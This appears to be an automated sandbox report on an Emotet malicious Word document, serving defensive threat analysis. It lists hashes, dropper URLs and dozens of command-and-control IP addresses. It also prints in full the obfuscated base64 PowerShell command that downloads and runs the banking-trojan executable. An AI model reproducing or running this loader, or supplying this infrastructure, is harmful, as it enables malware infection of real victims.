emotet | 8becb7ca0d2d13bc1e667d22cf222c927c6b952a67daede438a39afcf555629e

Analysis

max time kernel
135s
max time network
144s
platform
windows10_x64
resource
win10v200722
submitted
22/09/2020, 14:54

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General

Target
emotet_e1_8becb7ca0d2d13bc1e667d22cf222c927c6b952a67daede438a39afcf555629e_2020-09-22__145123644334._doc.doc
Size 153KB
Sample200922-mmvt7d7876
SHA256 8becb7ca0d2d13bc1e667d22cf222c927c6b952a67daede438a39afcf555629e
MD5 c4827a4d71e756000fe8e499929f0039
SHA1 946e1faa031a19d8f29eed5fe26d46733afdda1e
SHA512 7b53ea8e17a7d424efc764390e4ee60189c6c47acc9831f9b99e132d1369a2ea681e6db3810ca20677be05983eed611084f4003598654519df8985e24cf02ebb
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://syracusecoffee.com/customer/jzN/
exe.dropper
http://intrasistemas.com/cgi-bin/6/
exe.dropper
http://rocketviral.com/bv/O/
exe.dropper
http://shop.homenhealthy.com/wp-includes/xt/
exe.dropper
http://raintoday.org/wp-admin/e/
exe.dropper
https://qualitychildcarepreschool.com/emqblk/292416929446266/O/
exe.dropper
http://thammynhp.com/wp-includes/H/

Extracted

Family

emotet

76.168.54.203:80
51.38.124.206:80
38.88.126.202:8080
54.37.42.48:8080
5.196.35.138:7080
177.129.17.170:443
87.106.46.107:8080
68.183.190.199:8080
185.183.16.47:80
186.103.141.250:443
64.201.88.132:80
70.32.84.74:8080
68.69.155.181:80
82.76.111.249:443
111.67.12.221:8080
60.93.23.51:80
104.131.41.185:8080
92.24.50.153:80
191.182.6.118:80
61.197.92.216:80
213.197.182.158:8080
137.74.106.111:7080
138.97.60.141:7080
187.162.248.237:80
110.142.219.51:80
51.159.23.217:443
192.241.143.52:8080
190.24.243.186:80
51.255.165.160:8080
212.71.237.140:8080
190.115.18.139:8080
174.113.69.136:80
178.250.54.208:8080
190.2.31.172:80
45.16.226.117:443
50.121.220.50:80
217.13.106.14:8080
217.199.160.224:7080
80.11.164.185:80
172.104.169.32:8080
77.90.136.129:8080
123.51.47.18:80
82.230.1.24:80
74.58.215.226:80
185.94.252.27:443
181.30.61.163:443
111.67.77.202:8080
96.227.52.8:443
2.36.95.106:80
78.249.119.122:80
209.236.123.42:8080
185.215.227.107:443
188.135.15.49:80
83.169.21.32:7080
96.245.123.149:80
216.47.196.104:80
50.28.51.143:8080
5.189.178.202:8080
74.136.144.133:80
72.47.248.48:7080
190.190.148.27:8080
189.2.177.210:443
98.13.75.196:80
185.178.10.77:80
181.129.96.162:8080
67.247.242.247:80
170.81.48.2:80
199.203.62.165:80
204.225.249.100:7080
77.106.157.34:8080
68.183.170.114:8080
45.46.37.97:80
70.32.115.157:8080
190.163.31.26:80
94.176.234.118:443
95.9.180.128:80
104.131.103.37:8080
35.143.99.174:80
91.105.94.200:80
190.6.193.152:8080
155.186.0.121:80
219.92.13.25:80
12.162.84.2:8080
220.109.145.69:80
177.74.228.34:80
77.238.212.227:80
61.92.159.208:8080
186.70.127.199:8090
45.33.77.42:8080
152.169.22.67:80
192.241.146.84:8080
185.94.252.12:80
177.73.0.98:443
65.36.62.20:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2792	1012	POWeRsHeLL.exe	71

Emotet Payload 8 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/1216-15-0x0000000000560000-0x0000000000572000-memory.dmp	emotet
behavioral2/memory/1216-15-0x0000000000560000-0x0000000000572000-memory.dmp	emotet
behavioral2/memory/1216-16-0x0000000000B90000-0x0000000000BA0000-memory.dmp	emotet
behavioral2/memory/1216-16-0x0000000000B90000-0x0000000000BA0000-memory.dmp	emotet
behavioral2/memory/724-19-0x00000000005A0000-0x00000000005B2000-memory.dmp	emotet
behavioral2/memory/724-19-0x00000000005A0000-0x00000000005B2000-memory.dmp	emotet
behavioral2/memory/724-20-0x00000000001F0000-0x0000000000200000-memory.dmp	emotet
behavioral2/memory/724-20-0x00000000001F0000-0x0000000000200000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
14	2792	POWeRsHeLL.exe

Executes dropped EXE 2 IoCs

pid	Process
1216	Htammz.exe
724	Windows.Security.Authentication.OnlineId.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\syncutil\Windows.Security.Authentication.OnlineId.exe	Htammz.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
860	WINWORD.EXE
860	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
2792	POWeRsHeLL.exe
2792	POWeRsHeLL.exe
2792	POWeRsHeLL.exe
724	Windows.Security.Authentication.OnlineId.exe
724	Windows.Security.Authentication.OnlineId.exe
724	Windows.Security.Authentication.OnlineId.exe
724	Windows.Security.Authentication.OnlineId.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2792	POWeRsHeLL.exe

Suspicious use of SetWindowsHookEx 9 IoCs

pid	Process
860	WINWORD.EXE
860	WINWORD.EXE
860	WINWORD.EXE
860	WINWORD.EXE
860	WINWORD.EXE
860	WINWORD.EXE
860	WINWORD.EXE
860	WINWORD.EXE
860	WINWORD.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2792 wrote to memory of 1216	2792	POWeRsHeLL.exe	76
PID 2792 wrote to memory of 1216	2792	POWeRsHeLL.exe	76
PID 2792 wrote to memory of 1216	2792	POWeRsHeLL.exe	76
PID 1216 wrote to memory of 724	1216	Htammz.exe	79
PID 1216 wrote to memory of 724	1216	Htammz.exe	79
PID 1216 wrote to memory of 724	1216	Htammz.exe	79

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_8becb7ca0d2d13bc1e667d22cf222c927c6b952a67daede438a39afcf555629e_2020-09-22__145123644334._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:860

C:\Windows\System32\WindowsPowerShell\v1.0\POWeRsHeLL.exe
POWeRsHeLL -ENCOD JABPAHoAbAByAHIAYgBoAD0AKAAoACcAUgA1ADcAJwArACcAOAAnACkAKwAoACcAYgB2ACcAKwAnAGgAJwApACkAOwAmACgAJwBuAGUAJwArACcAdwAtAGkAJwArACcAdABlAG0AJwApACAAJABFAE4AdgA6AFUAUwBlAHIAUAByAG8ARgBJAGwARQBcAFcAawAyAHEAYwBtAFYAXABrAEYAMgB1ADUANQA4AFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAGQASQByAEUAQwB0AG8AcgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGAAZQBjAHUAcgBJAFQAeQBgAFAAUgBvAHQATwBgAGMAbwBsACIAIAA9ACAAKAAnAHQAJwArACcAbAAnACsAJwBzACcAKwAnADEAJwArACgAJwAyACcAKwAnACwAJwArACcAIAB0AGwAcwAxADEALAAnACsAJwAgAHQAbABzACcAKQApADsAJABMADAAaABhAHAAZABiACAAPQAgACgAKAAnAEgAJwArACcAdABhAG0AJwApACsAJwBtAHoAJwApADsAJABUAGMANwByAHoAdgB3AD0AKAAoACcAUABiAGgAcgAnACsAJwAyACcAKQArACcAMwB1ACcAKQA7ACQAQwB5AGsAOAA2AG0AZgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwB7ADAAfQBXACcAKwAnAGsAMgBxAGMAbQB2AHsAMAB9AEsAZgAnACsAJwAyACcAKwAnAHUAJwArACcANQA1ACcAKwAnADgAJwArACcAewAnACsAJwAwAH0AJwApACAAIAAtAGYAIAAgAFsAQwBoAGEAcgBdADkAMgApACsAJABMADAAaABhAHAAZABiACsAKAAoACcALgBlACcAKwAnAHgAJwApACsAJwBlACcAKQA7ACQAVgBjADMAMwBpAHIAeQA9ACgAKAAnAFYAMAAnACsAJwB5AGoAbAAnACkAKwAnADUAJwArACcAdgAnACkAOwAkAEIAegBwAHAAZQAzADkAPQAmACgAJwBuAGUAdwAtAG8AYgBqACcAKwAnAGUAYwAnACsAJwB0ACcAKQAgAE4AZQB0AC4AVwBlAGIAQwBsAEkAZQBOAHQAOwAkAEgANQAzAGwANwBqAHcAPQAoACcAaAB0ACcAKwAoACcAdABwACcAKwAnADoALwAvAHMAJwArACcAeQAnACkAKwAnAHIAJwArACgAJwBhAGMAdQBzAGUAJwArACcAYwBvACcAKQArACgAJwBmAGYAZQAnACsAJwBlACcAKQArACgAJwAuAGMAbwBtAC8AYwAnACsAJwB1AHMAdAAnACsAJwBvACcAKwAnAG0AZQAnACsAJwByACcAKQArACgAJwAvACcAKwAnAGoAegBOAC8AJwArACcAKgBoAHQAdABwACcAKwAnADoALwAnACkAKwAoACcALwAnACsAJwBpAG4AJwApACsAKAAnAHQAcgBhAHMAaQAnACsAJwBzACcAKwAnAHQAZQBtAGEAJwApACsAKAAnAHMALgBjAG8AJwArACcAbQAnACkAKwAnAC8AJwArACgAJwBjAGcAJwArACcAaQAtACcAKQArACgAJwBiAGkAbgAvACcAKwAnADYAJwApACsAKAAnAC8AKgAnACsAJwBoAHQAJwApACsAJwB0AHAAJwArACcAOgAnACsAKAAnAC8ALwByACcAKwAnAG8AJwApACsAKAAnAGMAJwArACcAawBlACcAKwAnAHQAdgBpACcAKQArACgAJwByAGEAbAAnACsAJwAuACcAKQArACgAJwBjAG8AJwArACcAbQAvACcAKQArACgAJwBiAHYALwAnACsAJwBPACcAKQArACcALwAqACcAKwAnAGgAJwArACcAdAB0ACcAKwAoACcAcAA6AC8ALwAnACsAJwBzAGgAbwBwACcAKQArACgAJwAuAGgAbwBtAGUAbgBoACcAKwAnAGUAJwArACcAYQBsACcAKQArACgAJwB0AGgAeQAnACsAJwAuACcAKQArACgAJwBjAG8AbQAvACcAKwAnAHcAcAAtAGkAJwApACsAKAAnAG4AYwAnACsAJwBsAHUAZABlAHMALwAnACkAKwAoACcAeAB0AC8AJwArACcAKgAnACkAKwAnAGgAJwArACgAJwB0AHQAJwArACcAcAAnACsAJwA6AC8ALwAnACkAKwAnAHIAJwArACgAJwBhACcAKwAnAGkAbgAnACsAJwB0AG8AZABhACcAKwAnAHkALgBvAHIAZwAnACkAKwAoACcALwB3AHAALQAnACsAJwBhAGQAbQBpAG4ALwAnACsAJwBlAC8AJwApACsAJwAqACcAKwAoACcAaAB0AHQAcAAnACsAJwBzADoALwAnACsAJwAvACcAKQArACgAJwBxAHUAJwArACcAYQAnACkAKwAoACcAbABpACcAKwAnAHQAeQBjAGgAJwArACcAaQBsACcAKQArACgAJwBkACcAKwAnAGMAYQAnACkAKwAoACcAcgBlACcAKwAnAHAAJwApACsAKAAnAHIAJwArACcAZQBzAGMAaABvAG8AbAAnACsAJwAuAGMAbwBtAC8AJwApACsAKAAnAGUAJwArACcAbQAnACsAJwBxAGIAbABrAC8AJwApACsAJwAyACcAKwAoACcAOQAnACsAJwAyADQAMQA2ADkAJwApACsAKAAnADIAOQAnACsAJwA0ACcAKQArACgAJwA0ADYAMgAnACsAJwA2ADYAJwApACsAJwAvACcAKwAnAE8ALwAnACsAKAAnACoAJwArACcAaAB0AHQAcAA6AC8ALwB0AGgAYQAnACsAJwBtAG0AeQBuACcAKwAnAGgAJwApACsAJwBwACcAKwAoACcALgBjACcAKwAnAG8AJwApACsAJwBtAC8AJwArACcAdwAnACsAKAAnAHAALQAnACsAJwBpACcAKwAnAG4AYwBsAHUAJwArACcAZABlACcAKwAnAHMALwBIAC8AJwApACkALgAiAFMAcABsAGAAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAVgBhAHYAcAB2AHUAcwA9ACgAKAAnAEIAJwArACcAMQBqACcAKQArACcANwAnACsAKAAnADYAJwArACcAZAByACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQARQBsADMANwB3AGMAZQAgAGkAbgAgACQASAA1ADMAbAA3AGoAdwApAHsAdAByAHkAewAkAEIAegBwAHAAZQAzADkALgAiAGQATwB3AE4ATABPAEEAYABEAGAARgBJAGwAZQAiACgAJABFAGwAMwA3AHcAYwBlACwAIAAkAEMAeQBrADgANgBtAGYAKQA7ACQAUwAzAGcAagB1ADkAcQA9ACgAKAAnAEsAJwArACcAdAB4ADIAOAAnACkAKwAnAG0ANQAnACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQAJwArACcALQBJAHQAZQAnACsAJwBtACcAKQAgACQAQwB5AGsAOAA2AG0AZgApAC4AIgBsAGAARQBuAGAARwBUAGgAIgAgAC0AZwBlACAAMwA1ADcAMQA3ACkAIAB7AC4AKAAnAEkAbgB2AG8AawBlACcAKwAnAC0ASQB0AGUAJwArACcAbQAnACkAKAAkAEMAeQBrADgANgBtAGYAKQA7ACQATgB4ADEAZwBmAGcAawA9ACgAKAAnAEsAMQAnACsAJwB0ACcAKQArACcAaAAnACsAKAAnADQAcwAnACsAJwAyACcAKQApADsAYgByAGUAYQBrADsAJABKAHUAdAB5AGwAZQA5AD0AKAAoACcASQBhACcAKwAnAGIAJwApACsAJwA4ADMAJwArACcAcQAxACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATQBvAG0AcgAzAGQAdgA9ACgAKAAnAFcAMQBnAGgAJwArACcAOAAnACkAKwAnAGMAJwArACcAdwAnACkA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2792
- C:\Users\Admin\Wk2qcmv\Kf2u558\Htammz.exe
  "C:\Users\Admin\Wk2qcmv\Kf2u558\Htammz.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of WriteProcessMemory
  PID:1216
- - C:\Windows\SysWOW64\syncutil\Windows.Security.Authentication.OnlineId.exe
    "C:\Windows\SysWOW64\syncutil\Windows.Security.Authentication.OnlineId.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:724

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/724-20-0x00000000001F0000-0x0000000000200000-memory.dmp

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memory/724-19-0x00000000005A0000-0x00000000005B2000-memory.dmp

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memory/860-3-0x000001FF449CA000-0x000001FF449DD000-memory.dmp

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memory/860-7-0x000001FF44CC9000-0x000001FF44CCE000-memory.dmp

Download

memory/860-8-0x000001FF44CC9000-0x000001FF44CCE000-memory.dmp

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memory/860-6-0x000001FF3FF83000-0x000001FF3FF87000-memory.dmp

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memory/860-5-0x000001FF3FF83000-0x000001FF3FF87000-memory.dmp

Download

memory/860-4-0x000001FF449CA000-0x000001FF449DD000-memory.dmp

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memory/860-0-0x00007FFAD67E0000-0x00007FFAD6EA6000-memory.dmp

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memory/860-2-0x000001FF449CA000-0x000001FF449DD000-memory.dmp

Download

memory/860-1-0x000001FF449CA000-0x000001FF449DD000-memory.dmp

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memory/1216-15-0x0000000000560000-0x0000000000572000-memory.dmp

Download

memory/1216-16-0x0000000000B90000-0x0000000000BA0000-memory.dmp

Download

memory/2792-11-0x0000024E4F1E0000-0x0000024E4F1E1000-memory.dmp

Download

memory/2792-10-0x0000024E36D70000-0x0000024E36D71000-memory.dmp

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memory/2792-9-0x00007FFAC9B10000-0x00007FFACA4FC000-memory.dmp

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